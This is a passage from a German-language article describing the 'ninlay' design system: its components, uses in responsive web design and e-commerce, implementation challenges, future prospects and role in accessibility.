Die Integration von ninlay in einen bestehenden Workflow erfordert jedoch eine sorgfältige Planung und Vorbereitung. Es ist wichtig, die bestehenden Designrichtlinien und -standards zu analysieren und festzulegen, wie ninlay diese ergänzen oder ersetzen kann. Eine klare Kommunikation und Zusammenarbeit zwischen Designern und Entwicklern ist unerlässlich, um sicherzustellen, dass alle Beteiligten das System verstehen und effektiv nutzen können. Schulungen und Workshops können dabei helfen, das Wissen und die Fähigkeiten der Teammitglieder zu erweitern und die Akzeptanz des Systems zu fördern.

Komponente Beschreibung Anwendungsbereich
Schaltfläche Grundlegendes Steuerelement für Aktionen Web, Mobile, Desktop
Formularfeld Eingabefeld für Benutzerdaten Web, Mobile
Navigationsleiste Zur Strukturierung der Website-Navigation Web, Mobile
Farbschema Konsistente Farbpalette für das Design Alle Anwendungen

Die Tabelle veranschaulicht einige der grundlegenden Komponenten, die ninlay bietet. Es ist wichtig zu beachten, dass dies nur ein kleiner Ausschnitt der verfügbaren Elemente ist. Die vollständige Komponentenbibliothek ist in der Regel viel umfangreicher und bietet eine Vielzahl von Optionen für verschiedene Designanforderungen.

Anwendungsbereiche von ninlay: Von Web bis Mobile

ninlay ist nicht auf einen bestimmten Anwendungsbereich beschränkt. Es kann erfolgreich in einer Vielzahl von Projekten eingesetzt werden, von Webanwendungen und mobilen Apps bis hin zu Desktop-Software und Marketingmaterialien. Die Flexibilität des Systems ermöglicht es, es an die spezifischen Anforderungen verschiedener Branchen und Zielgruppen anzupassen. Beispielsweise kann ninlay in der Finanzbranche eingesetzt werden, um sichere und vertrauenswürdige Benutzeroberflächen zu gestalten, während es in der Unterhaltungsindustrie verwendet werden kann, um ansprechende und immersive Erlebnisse zu schaffen.

Besonders im Bereich des responsiven Webdesigns erweist sich ninlay als äußerst nützlich. Die Komponenten sind so konzipiert, dass sie sich automatisch an verschiedene Bildschirmgrößen und -auflösungen anpassen, wodurch eine optimale Benutzererfahrung auf allen Geräten gewährleistet wird. Dies ist besonders wichtig in der heutigen Zeit, in der immer mehr Menschen über mobile Geräte auf das Internet zugreifen. Durch die Verwendung von ninlay können Unternehmen sicherstellen, dass ihre Webanwendungen und Websites auf allen Geräten optimal dargestellt werden und eine hohe Benutzerfreundlichkeit bieten.

ninlay im E-Commerce Bereich

Der E-Commerce-Bereich profitiert in besonderem Maße von der Implementierung von ninlay. Ein einheitliches und ansprechendes Design ist entscheidend, um das Vertrauen der Kunden zu gewinnen und die Conversion-Rate zu erhöhen. ninlay bietet eine Vielzahl von Komponenten, die speziell auf die Bedürfnisse des E-Commerce zugeschnitten sind, wie z.B. Produktkataloge, Warenkörbe, Checkout-Prozesse und Benutzerkonten. Die standardisierten Komponenten und Richtlinien tragen dazu bei, einen reibungslosen und intuitiven Einkaufsprozess zu gewährleisten, der die Kunden zum Kauf animiert.

Darüber hinaus ermöglicht ninlay die einfache Personalisierung des Designs, um die Bedürfnisse verschiedener Kundensegmente zu erfüllen. Durch die Verwendung von Variablen und dynamischen Daten können Unternehmen individualisierte Einkaufserlebnisse schaffen, die die Kundenbindung erhöhen und den Umsatz steigern. Die Flexibilität von ninlay ermöglicht es, schnell auf veränderte Marktanforderungen und Kundenbedürfnisse zu reagieren und das Design entsprechend anzupassen.

  • Verbesserte Benutzererfahrung durch einheitliches Design
  • Erhöhte Conversion-Rate durch intuitiven Einkaufsprozess
  • Steigerung der Kundenbindung durch Personalisierung
  • Reduzierte Entwicklungskosten durch Wiederverwendbarkeit von Komponenten
  • Schnellere Markteinführung neuer Produkte und Funktionen

Die Aufzählung zeigt die wichtigsten Vorteile, die ninlay für E-Commerce-Unternehmen bietet. Diese Vorteile machen ninlay zu einem wertvollen Werkzeug für alle, die im Online-Handel erfolgreich sein möchten.

Die Vorteile der Verwendung eines Designsystems im Allgemeinen

Die Einführung von ninlay oder einem ähnlichen Designsystem bietet zahlreiche Vorteile, die über die reine visuelle Gestaltung hinausgehen. Ein Designsystem fördert die Zusammenarbeit zwischen Designern und Entwicklern, standardisiert Prozesse und reduziert redundante Arbeit. Dies führt zu einer höheren Effizienz, einer verbesserten Qualität der Endprodukte und einer schnelleren Markteinführungszeit. Darüber hinaus trägt ein Designsystem dazu bei, die Markenidentität zu stärken und ein konsistentes Benutzererlebnis über alle Kanäle hinweg zu gewährleisten.

Ein weiterer wichtiger Vorteil ist die Skalierbarkeit. Mit einem Designsystem können Unternehmen ihre Designlösungen problemlos an wachsende Anforderungen anpassen. Neue Komponenten können einfach hinzugefügt und bestehende Komponenten können bei Bedarf erweitert werden, ohne dass umfangreiche Änderungen am bestehenden System vorgenommen werden müssen. Dies ist besonders wichtig für Unternehmen, die schnell expandieren und ihre Produkte oder Dienstleistungen in neue Märkte bringen möchten.

Herausforderungen bei der Implementierung eines Designsystems

Trotz der zahlreichen Vorteile gibt es auch Herausforderungen bei der Implementierung eines Designsystems. Eine der größten Herausforderungen ist die Notwendigkeit, bestehende Designrichtlinien und -standards zu überarbeiten und anzupassen. Dies kann ein zeitaufwändiger und komplexer Prozess sein, der die Zusammenarbeit aller Beteiligten erfordert. Darüber hinaus erfordert die Einführung eines Designsystems eine gewisse Lernbereitschaft und Anpassungsfähigkeit von allen Teammitgliedern.

Es ist auch wichtig, sicherzustellen, dass das Designsystem regelmäßig gepflegt und aktualisiert wird. Technologien und Designansätze entwickeln sich ständig weiter, daher ist es wichtig, das System auf dem neuesten Stand zu halten und an neue Anforderungen anzupassen. Dies erfordert eine kontinuierliche Investition in Ressourcen und Expertise.

  1. Klare Definition des Anwendungsbereichs und der Ziele des Designsystems
  2. Einbindung aller relevanten Stakeholder in den Implementierungsprozess
  3. Sorgfältige Auswahl der Komponenten und Richtlinien
  4. Regelmäßige Schulungen und Workshops für Teammitglieder
  5. Kontinuierliche Pflege und Aktualisierung des Systems

Die nummerierte Liste bietet einen Überblick über die wichtigsten Schritte, die bei der Implementierung eines Designsystems zu beachten sind. Eine sorgfältige Planung und Vorbereitung sind entscheidend, um den Erfolg des Projekts zu gewährleisten.

Zukunftsperspektiven von Designsystemen und ninlay

Die Bedeutung von Designsystemen wird in Zukunft weiter zunehmen, da Unternehmen zunehmend erkennen, welche Vorteile sie bieten. Neue Technologien wie künstliche Intelligenz und maschinelles Lernen werden voraussichtlich eine wichtige Rolle bei der Weiterentwicklung von Designsystemen spielen. Diese Technologien können dazu beitragen, den Designprozess zu automatisieren, die Benutzerfreundlichkeit zu verbessern und personalisierte Designlösungen zu schaffen.

ninlay wird sich voraussichtlich weiterentwickeln und seine Funktionalität erweitern, um den sich ändernden Anforderungen der Branche gerecht zu werden. Es ist zu erwarten, dass neue Komponenten und Richtlinien hinzugefügt werden, die die Gestaltung innovativer und ansprechender Benutzererlebnisse ermöglichen. Die Integration von ninlay in weitere Entwicklungsumgebungen und Designtools wird ebenfalls eine wichtige Rolle spielen, um die Flexibilität und Benutzerfreundlichkeit des Systems weiter zu verbessern. Die Zukunft von ninlay sieht vielversprechend aus und es wird weiterhin ein wertvolles Werkzeug für Designer und Entwickler bleiben.

Die Rolle von Designsystemen im Kontext der Barrierefreiheit

Ein oft übersehener, aber enorm wichtiger Aspekt eines gut durchdachten Designsystems wie ninlay ist seine Fähigkeit, die Barrierefreiheit von digitalen Produkten zu verbessern. Durch die standardisierte Verwendung von semantisch korrekten HTML-Elementen, ausreichenden Farbkontrasten und klar strukturierten Inhalten kann ein Designsystem dazu beitragen, dass Websites und Anwendungen für Menschen mit Behinderungen zugänglich sind. Dies ist nicht nur eine ethische Verpflichtung, sondern auch eine rechtliche Anforderung in vielen Ländern. Ninlay kann beispielsweise sicherstellen, dass alle Formularelemente über korrekte Beschriftungen verfügen und dass alternative Texte für Bilder bereitgestellt werden.

Die Implementierung von Barrierefreiheit ist ein fortlaufender Prozess, der eine kontinuierliche Überprüfung und Anpassung erfordert. Ein Designsystem bietet jedoch eine solide Grundlage, um sicherzustellen, dass Barrierefreiheit von Anfang an berücksichtigt wird und nicht nachträglich als Add-on implementiert werden muss. Die Verwendung von standardisierten Komponenten und Richtlinien erleichtert es den Entwicklern, barrierefreie Lösungen zu erstellen, und reduziert das Risiko von Fehlern. Die Integration von Barrierefreiheitstests in den Entwicklungsprozess kann dabei helfen, potenzielle Probleme frühzeitig zu erkennen und zu beheben.

Post a Comment